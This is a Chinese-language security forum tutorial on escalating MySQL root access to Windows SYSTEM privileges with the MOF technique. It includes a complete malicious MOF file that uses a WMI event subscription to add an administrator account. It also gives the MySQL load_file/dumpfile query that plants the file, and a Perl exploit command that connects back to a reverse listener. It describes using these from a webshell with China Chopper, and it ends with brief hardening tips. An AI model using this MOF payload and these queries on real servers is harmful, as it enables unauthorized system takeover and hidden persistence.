登录

MySQL数据库Root权限MOF方法提权研究

simeon / 2017-02-28 02:40:00 / 浏览数 3913 新手 入门资料 顶(0) 踩(0)

MySQL数据库Root权限MOF方法提权研究
MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)
，简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI)
提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件：
方法1：运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法2：使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3：拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件，或使用 IMofCompiler::CompileFile
方法。第三种方法仅为向后兼容性与早期版本的 WMI
提供，并因为此功能可能不会提供在将来的版本后，不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目

001漏洞利用方法分析

该漏洞的利用前提条件是必须具备mysql的root权限，在Kingcope公布的0day中公布了一个pl利用脚本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100为mysql数据库所在服务器，mysql口令为空，反弹到192.168.2.150的5555端口上。
1.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件：

```
# pragma namespace("\\.\root\subscription")

instance of **EventFilter as $EventFilter{    EventNamespace = "Root\Cimv2";    Name  = "filtP2";    Query = "Select \* From *
          "Where TargetInstance Isa \"Win32_LocalTime\" "
          "And TargetInstance.Second = 5";
   QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
   Name = "consPCSV2";
   ScriptingEngine = "JScript";
   ScriptText =
   "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
   Consumer   = $Consumer;
   Filter = $EventFilter;
};
```

2.通过Mysql查询将文件导入
执行以下查询语句，将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行，执行命令。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

002实战利用

1.实验环境
本次实验环境为Windows2003+Apache+PHP，已经拥有Webshell权限。
2.上传文件到可写目录
将nullevt.mof文件上传到服务器可写目录，例如C:\RECYCLER\，如图1所示。

图1上传文件nullevt.mof
3.执行命令
配置好中国菜刀，然后通过数据库管理，执行查询命令，在执行查询命令前需要先选择一下数据库，然后将以下代码复制到查询语句输入框中，如图2所示。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

图2执行查询命令
4.查看执行结果
执行完毕后需要修改添加用户命令为将用户添加到管理员组，即"net.exe localgroup administrators admin/add\"，再次上传并查询，如图3所示，通过net user查看，果然admin已被添加到系统中。

图3添加用户成功

003防范方法

Mysql
Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下，例如c:\windows\system32\wbem\mof中，如果无法复制则会提权失败。一般对Wind
1.在程序数据库连接文件中尽量不要使用Root帐号进行连接。
2.Root帐号使用强加密方式，采用字母大小写+数字+特殊字符，密码位数15位以上。
3.对Mysql数据库的mysql数据库目录权限严格限制，IIS用户无法读写该文件。

1. 操作系统目录c:\windows\system32\wbem禁止写入。

mof.zip (0.0 MB) 下载附件

点击收藏 | 0 关注 | 1

上一篇：Mysql提权基础 下一篇：来自高维的对抗 - 逆向TinyT...

1. 1 条回复


simeon 2017-02-28 02:41:46

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板